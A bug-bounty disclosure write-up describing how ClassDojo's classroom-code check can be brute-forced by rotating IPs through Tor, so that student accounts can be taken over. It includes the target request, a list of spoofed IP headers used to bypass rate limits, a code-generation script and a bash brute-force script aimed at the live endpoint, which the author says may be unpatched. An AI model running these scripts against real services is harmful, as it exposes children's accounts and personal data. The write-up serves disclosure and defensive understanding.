ClassDojo is a platform in educational settings that helps teachers, students, and parents stay connected. They run their bug bounty program on BugCrowd.
On 9th Jan, 2024, I identified a 0 click Account Takeover vulnerability that could enable an attacker to Take Over every single student’s account that exists in ClassDojo.
Disclaimer:
This research is for educational purposes only. The author(s) are not responsible for misuse or resulting damages.
Recon
poking around and figuring out, wth is happening.
While I was testing student.classdojo.com
subdomain. I noticed every classroom at ClassDojo has a unique 6-character code that consists only of uppercase letters (A-Z).
When the student enters the classroom code all student names are displayed and the student can simply choose his/her name from the list and join the classroom.
The classroom code is validated through https://student.classdojo.com/api/classStudentByToken
API endpoint. However, the rate limit at /api/classStudentByToken
endpoint is poorly implemented. In fact, it’s one of the weirdest rate limit implementations I’ve ever seen.
The request body of the classroom code verification looks like this:
GET /api/classStudentByToken HTTP/2
Host: student.classdojo.com
Cookie: cookie
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Basic WUZQQ1ZUOllGUENWVA==
X-Client-Identifier: Mobile
X-Client-Version: 202401052343.3245.0-student
X-Sign-Attachment-Urls: true
Dnt: 1
Referer: https://student.classdojo.com/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Pwnfox-Color: yellow
Te: trailers
If the classroom exists It gives 200 OK
response. If it doesn’t exist, then 401 Unauthorized
response.
The classroom code is sent through the Authorization
header in Base64 format. Decoding the header reveals the string <classroom-code>:<classroom-code>
.
For Example, If the classroom code is ABCDEF
, Then the header would be the base64 format of ABCDEF:ABCDEF
which is QUJDREVGOkFCQ0RFRgo=
Normally the /api/classStudentByToken
endpoint allows only 15 requests and after that It gives you 429 Too many requests
response.
It looks pretty straight forward at first glance but It’s not.
Then I started trying different rate limit bypass techniques. such as, I added these request headers in the request body.
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Host: 127.0.0.1
X-Forwared-Host: 127.0.0.1
And it worked!
But The story doesn’t end here. It does bypass the rate limit but again it allows only 15 requests with these headers.
I’ve tried a few other methods as well. like,
- Adding an extra
/
in the API endpoint. eg./api/classStudentByToken/
- Adding random extensions in the API endpoint. eg.
/api/classStudentByToken/.json
and all other extensions. - Adding random query parameters. eg.
/api/classStudentByToken?random=xyz
- Adding the Authorization header as a query parameter. eg.
/api/classStudentByToken?authorization=QUJDREVGOkFCQ0RFRgo=
- Using Race condition to bypass the rate limit.
At this point I was trying everything which was coming to my mind. But none of them worked.
Then I removed some request headers and started noticing really weird behaviors from the server.
- When I removed any random header from the request body and sent the request, it allowed me to send 15 requests (again).
- Changing header values also bypassed the rate limit, allowing 15 more requests.
- Adding random headers had the same effect — 15 additional requests were allowed.
Keeping these behaviors in mind I quicky wrote a python script that performed any 3 of these mentioned techniques every time we get 429
status code.
But the script didn’t work. I was getting 429
status code only after 15 requests. So basically, It was working when I was doing it in my BurpSuite Repeater
manually but not when I was automating it.
And after running the script, these techniques stopped working manually as well. (wth 💀)
Maybe the WAF detected these weird request patterns and started blocking them all together.
The Exploitation
The fun part begins here (POC Video is included at the end)
So, the Rate Limit Implementation was IP Based. I knew it from the beginning Itself, but still I was trying different methods to bypass it and to some extent I’ve succeeded as well.
Now as I have mentioned earlier, the classroom code is of unique 6 characters that consists of only uppercase letters (A to Z).
Each position in the 6-character code has 26 possible choices (A–Z). Since there are 6 positions, the total number of possible combinations are:
26⁶ = 308,915,776
So, there are 308,915,776 unique 6-character classroom codes possible.
I wrote a python script to generate all these possible classroom codes:
import string
from itertools import product
comb = product(string.ascii_uppercase,repeat=6)
file = open('codes.txt','a')
for code in comb:
file.write("".join(code))
file.write("\n")
It saves all the codes in codes.txt
file.
Since the rate limit implemented in https://student.classdojo.com/api/classStudentByToken
endpoint is IP Based, It allows only 15 requests per IP and after that it rate limits the IP for 120 seconds.
If we change the IP address the rate limit can be bypassed. Since the no. of classroom code is huge and we have 15 requests per IP, we have to Keep rotating the IPs. To do that I’ve used Tor network.
But we can also use Burpsuite’s IP Rotate — PortSwigger Extension, It utilizes amazon AWS for IP rotation.
You can check out this video to learn how to set it up: IP Rotate YTSince I don’t have an aws account, I’ll use tor network.
You can read this article of mine to learn how to use TOR to bypass rate limits:
After setting up the tor, I wrote a simple bash POC script to demonstrate the attack.
Here is the bash PoC script:
#!/bin/bash
request_number=0
while IFS= read -r code; do
((request_number++)) # to track the request number
base64_code=$(echo -n "$code" | base64) # encoding code as base64
response=$(curl -s -H "Authorization: basic $base64_code" https://student.classdojo.com/api/classStudentByToken --socks5-hostname localhost:9050)
echo "Request no: $request_number | Code: $code | Response : $response"
done < test_codes.txt
The script takes test_codes.txt
file as an input converts it to base64 format then sends the request to https://student.classdojo.com/api/classStudentByToken
endpoint using tor proxy.
Since tor is running in the background and IP is being changed in every 5 seconds It completely bypasses the rate limit.
This POC script is just to demonstrate the attack scenario.
Here is the POC Video:
Impact
what an attacker can do if they choose to exploit it.
- Attackers can take over any student’s account.
- Mass account taker over of students can be done. Since all the classroom codes can be generated easily.
- The vulnerability exposes student’s personal data and activities within the platform, that can pose significant risks to their privacy and potentially leading to misuse.
- Malicious users can spread malwares on a large scale in the classroom after taking over student’s accounts.
Mitigations
how to fix this issue?
- Introduce challenges like CAPTCHAs or interactive tests that can distinguish between human users and automated scripts.
- Utilize tokens or unique identifiers associated with each user or request to track and manage rate limits. This can help differentiate legitimate users from potential attackers.
References
- Slack | Report #165727 — Rate-limit bypass | HackerOne
- Courier | Report #1067533 — Rate limit function bypass can leads to occur huge critical problem into website. | HackerOne
- No Rate Limiting Vulnerability & Bypasses | by Prajit Sindhkar | Medium
- Confirming any new Email Address bug in Facebook (Part-4) | by Lokesh Kumar | Medium
Reporting Timeline:
Reported on: 09 Jan 2024 17:34:16 IST
Marked as N/A: 01 Feb 2024 13:22:50 IST
Currently I have no idea If they’ve fixed this issue or not. I’ve never touched that sh*t again and I’m publishing this write up because according to them their system is secure from this attack since “The IP Ban is already in place”.
Even though I have properly explained the severity of this issue, the program didn’t seem to care.
A piece of advice for you all don’t waste your time in “bug bounty” programs like these.
Thank you for reading! Feel free to share your thoughts or questions in the comments.